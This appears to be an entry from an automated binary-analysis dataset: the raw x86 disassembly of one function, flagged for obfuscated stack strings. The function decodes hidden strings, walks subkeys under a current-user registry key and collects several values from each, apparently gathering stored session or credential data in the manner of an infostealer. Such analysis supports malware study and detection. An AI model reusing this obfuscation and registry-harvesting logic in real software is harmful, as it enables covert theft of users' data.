Function at 0x42f194
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x453d5d
call fcn.004534f4
sub esp, 0x664
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ebx, ecx
and dword [ebp - 4], 0
movaps xmm0, xmmword [0x407e00]
movups xmmword [ebp - 0x107], xmm0
movaps xmm0, xmmword [0x4076e0]
movups xmmword [ebp - 0xf7], xmm0
mov dword [ebp - 0xe7], 0x6e585739
mov dword [ebp - 0xe3], 0x64627878
mov word [ebp - 0xdf], 0x7865
mov byte [ebp - 0xdd], 0
xor ecx, ecx
mov dword [ebp - 0xb4], ecx
cmp ecx, 0x29
jae 0x42f214
mov al, byte [ebp + ecx - 0x106]
xor al, byte [ebp - 0x107]
mov byte [ebp + ecx - 0x106], al
inc ecx
jmp 0x42f1f2
mov byte [ebp - 0xdd], 0
lea eax, [ebp - 0x106]
push eax
lea ecx, [ebp - 0x138]
call fcn.0040bc98
push 0x406fc4
lea ecx, [ebp - 0x120]
call fcn.0040bc98
mov ecx, dword [ebx + 0x374]
lea eax, [ebp - 0x138]
cmp dword [ebp - 0x124], 0x10
cmovae eax, dword [ebp - 0x138]
lea edx, [ebp - 0x64]
push edx
push eax
push 0x80000001
call ecx
cmp dword [ebp - 0x64], 0
je 0x42f8b3
and dword [ebp - 0x68], 0
push 0x400
lea ecx, [ebp - 0x670]
push ecx
push 0
push dword [ebp - 0x64]
mov eax, dword [ebx + 0x37c]
call eax
test eax, eax
jne 0x42f80d
mov edi, dword [ebx + 0x374]
lea eax, [ebp - 0x670]
push eax
lea ecx, [ebp - 0x150]
call fcn.0040bc98
mov esi, eax
push 0x5c
lea edx, [ebp - 0x138]
lea ecx, [ebp - 0x168]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x80]
call fcn.0041c09c
lea eax, [ebp - 0x80]
cmp dword [ebp - 0x6c], 0x10
cmovae eax, dword [ebp - 0x80]
lea ecx, [ebp - 0x1c]
push ecx
push eax
push 0x80000001
call edi
lea ecx, [ebp - 0x80]
call fcn.0040bc59
lea ecx, [ebp - 0x168]
call fcn.0040bc59
lea ecx, [ebp - 0x150]
call fcn.0040bc59
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x42f7eb
xor eax, eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x70], eax
push 0xf
pop edi
mov dword [ebp - 0x6c], edi
mov byte [ebp - 0x80], al
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], edi
mov byte [ebp - 0xb0], al
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], edi
mov byte [ebp - 0x98], al
mov esi, 0x406fc4
push esi
lea ecx, [ebp - 0x198]
call fcn.0040bc98
mov al, 0x26
mov dword [ebp - 0x26], 0x79754e26
mov dword [ebp - 0x22], 0x7367547a
mov word [ebp - 0x1e], 0x6b
xor edx, edx
mov dword [ebp - 0xb8], edx
cmp edx, 8
jae 0x42f3c5
movsx ecx, al
and ecx, 0x8000000f
jns 0x42f3af
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x25]
sub al, cl
mov byte [ebp + edx - 0x25], al
inc edx
mov dword [ebp - 0xb8], edx
mov al, byte [ebp - 0x26]
jmp 0x42f39a
mov byte [ebp - 0x1d], 0
lea eax, [ebp - 0x25]
push eax
lea ecx, [ebp - 0x180]
call fcn.0040bc98
lea eax, [ebp - 0x198]
push eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x180]
push eax
push dword [ebp - 0x1c]
call fcn.004209fe
lea ecx, [ebp - 0x180]
call fcn.0040bc59
lea ecx, [ebp - 0x198]
call fcn.0040bc59
push esi
lea ecx, [ebp - 0x1c8]
call fcn.0040bc98
mov al, 6
mov dword [ebp - 0x30], 0x6b795b06
mov dword [ebp - 0x2c], 0x73675478
mov word [ebp - 0x28], 0x6b
xor edx, edx
mov dword [ebp - 0xbc], edx
cmp edx, 8
jae 0x42f45d
movsx ecx, al
and ecx, 0x8000000f
jns 0x42f447
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x2f]
sub al, cl
mov byte [ebp + edx - 0x2f], al
inc edx
mov dword [ebp - 0xbc], edx
mov al, byte [ebp - 0x30]
jmp 0x42f432
mov byte [ebp - 0x27], 0
lea eax, [ebp - 0x2f]
push eax
lea ecx, [ebp - 0x1b0]
call fcn.0040bc98
lea eax, [ebp - 0x1c8]
push eax
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x1b0]
push eax
push dword [ebp - 0x1c]
call fcn.004209fe
lea ecx, [ebp - 0x1b0]
call fcn.0040bc59
lea ecx, [ebp - 0x1c8]
call fcn.0040bc59
push esi
lea ecx, [ebp - 0x168]
call fcn.0040bc98
mov al, 0x5d
mov dword [ebp - 0x3a], 0x806e5d5d
mov dword [ebp - 0x36], 0x7f7c8480
mov word [ebp - 0x32], 0x71
xor edx, edx
mov dword [ebp - 0xc0], edx
cmp edx, 8
jae 0x42f4f8
movsx ecx, al
and ecx, 0x8000000f
jns 0x42f4e2
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x39]
sub al, cl
mov byte [ebp + edx - 0x39], al
inc edx
mov dword [ebp - 0xc0], edx
mov al, byte [ebp - 0x3a]
jmp 0x42f4cd
mov byte [ebp - 0x31], 0
lea eax, [ebp - 0x39]
push eax
lea ecx, [ebp - 0x150]
call fcn.0040bc98
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x1c]
call fcn.004209fe
lea ecx, [ebp - 0x150]
call fcn.0040bc59
lea ecx, [ebp - 0x168]
call fcn.0040bc59
cmp dword [ebp - 0x70], 0
je 0x42f6fa
cmp dword [ebp - 0xa0], 0
je 0x42f6fa
cmp dword [ebp - 0x88], 0
je 0x42f6fa
mov dl, 0x4d
mov dword [ebp - 0x18], 0x3e22054d
mov dword [ebp - 0x14], 0x6d7739
xor ecx, ecx
mov dword [ebp - 0xc4], ecx
cmp ecx, 6
jae 0x42f595
mov al, byte [ebp + ecx - 0x17]
xor al, dl
mov byte [ebp + ecx - 0x17], al
inc ecx
mov dword [ebp - 0xc4], ecx
mov dl, byte [ebp - 0x18]
jmp 0x42f57a
mov byte [ebp - 0x11], 0
mov esi, 0x40700c
push esi
lea eax, [ebp - 0x80]
push eax
lea edx, [ebp - 0x17]
lea ecx, [ebp - 0x1f8]
call fcn.0041c04d
mov edx, eax
lea ecx, [ebp - 0x1e0]
call fcn.00417bac
push eax
lea ecx, [ebp - 0x120]
call fcn.00412646
lea ecx, [ebp - 0x1e0]
call fcn.0040bc59
lea ecx, [ebp - 0x1f8]
call fcn.0040bc59
mov dl, 0x34
mov dword [ebp - 0x52], 0x51476134
mov dword [ebp - 0x4e], 0x59555a46
mov dword [ebp - 0x4a], 0x140e51
xor ecx, ecx
mov dword [ebp - 0xc8], ecx
cmp ecx, 0xa
jae 0x42f61a
mov al, byte [ebp + ecx - 0x51]
xor al, dl
mov byte [ebp + ecx - 0x51], al
inc ecx
mov dword [ebp - 0xc8], ecx
mov dl, byte [ebp - 0x52]
jmp 0x42f5ff
mov byte [ebp - 0x47], 0
push esi
lea eax, [ebp - 0xb0]
push eax
lea edx, [ebp - 0x51]
lea ecx, [ebp - 0x228]
call fcn.0041c04d
mov edx, eax
lea ecx, [ebp - 0x210]
call fcn.00417bac
push eax
lea ecx, [ebp - 0x120]
call fcn.00412646
lea ecx, [ebp - 0x210]
call fcn.0040bc59
lea ecx, [ebp - 0x228]
call fcn.0040bc59
mov al, 0x18
mov dword [ebp - 0x46], 0x7b695818
mov dword [ebp - 0x42], 0x7a777f7b
mov dword [ebp - 0x3e], 0x28426c
xor edx, edx
mov dword [ebp - 0xcc], edx
cmp edx, 0xa
jae 0x42f6ad
movsx ecx, al
and ecx, 0x8000000f
jns 0x42f697
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x45]
sub al, cl
mov byte [ebp + edx - 0x45], al
inc edx
mov dword [ebp - 0xcc], edx
mov al, byte [ebp - 0x46]
jmp 0x42f682
mov byte [ebp - 0x3b], 0
push 0x407010
lea eax, [ebp - 0x98]
push eax
lea edx, [ebp - 0x45]
lea ecx, [ebp - 0x258]
call fcn.0041c04d
mov edx, eax
lea ecx, [ebp - 0x240]
call fcn.00417bac
push eax
lea ecx, [ebp - 0x120]
call fcn.00412646
lea ecx, [ebp - 0x240]
call fcn.0040bc59
lea ecx, [ebp - 0x258]
call fcn.0040bc59
mov ecx, dword [ebp - 0x84]
mov esi, 0x1000
cmp ecx, 0x10
jb 0x42f740
inc ecx
mov dword [ebp - 0xd0], ecx
mov edx, dword [ebp - 0x98]
mov eax, edx
cmp ecx, esi
jb 0x42f737
add ecx, 0x23
mov dword [ebp - 0xd0], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42f8e4
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
and dword [ebp - 0x88], 0
mov dword [ebp - 0x84], edi
mov byte [ebp - 0x98], 0
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x42f795
inc ecx
mov dword [ebp - 0xd4], ecx
mov edx, dword [ebp - 0xb0]
mov eax, edx
cmp ecx, esi
jb 0x42f78c
add ecx, 0x23
mov dword [ebp - 0xd4], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42f8e4
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
and dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], edi
mov byte [ebp - 0xb0], 0
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x42f7e4
inc ecx
mov dword [ebp - 0xd8], ecx
mov edx, dword [ebp - 0x80]
mov eax, edx
cmp ecx, esi
jb 0x42f7db
add ecx, 0x23
mov dword [ebp - 0xd8], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42f8e4
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov byte [ebp - 0x80], 0
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x68]
inc esi
mov dword [ebp - 0x68], esi
mov eax, dword [ebx + 0x378]
push ecx
call eax
push 0x400
lea ecx, [ebp - 0x670]
push ecx
push esi
jmp 0x42f27f
mov eax, dword [ebx + 0x378]
push dword [ebp - 0x64]
call eax
cmp dword [ebp - 0x110], 0
je 0x42f8b3
lea esi, [ebx + 0x3b0]
push dword [ebp + 8]
mov ecx, esi
call fcn.004439d9
mov al, 0x2d
mov dword [ebp - 0x5f], 0x7664692d
mov dword [ebp - 0x5b], 0x5d50607b
mov dword [ebp - 0x57], 0x8185813b
mov byte [ebp - 0x53], 0
xor edx, edx
mov dword [ebp - 0xdc], edx
cmp edx, 0xb
jae 0x42f883
movsx ecx, al
and ecx, 0x8000000f
jns 0x42f86d
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x5e]
sub al, cl
mov byte [ebp + edx - 0x5e], al
inc edx
mov dword [ebp - 0xdc], edx
mov al, byte [ebp - 0x5f]
jmp 0x42f858
mov byte [ebp - 0x53], 0
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x5e]
push eax
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x270]
call fcn.00417b5f
push eax
mov ecx, esi
call fcn.00443927
lea ecx, [ebp - 0x270]
call fcn.0040bc59
lea ecx, [ebp - 0x120]
call fcn.0040bc59
lea ecx, [ebp - 0x138]
call fcn.0040bc59
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4
call fcn.00448974
int3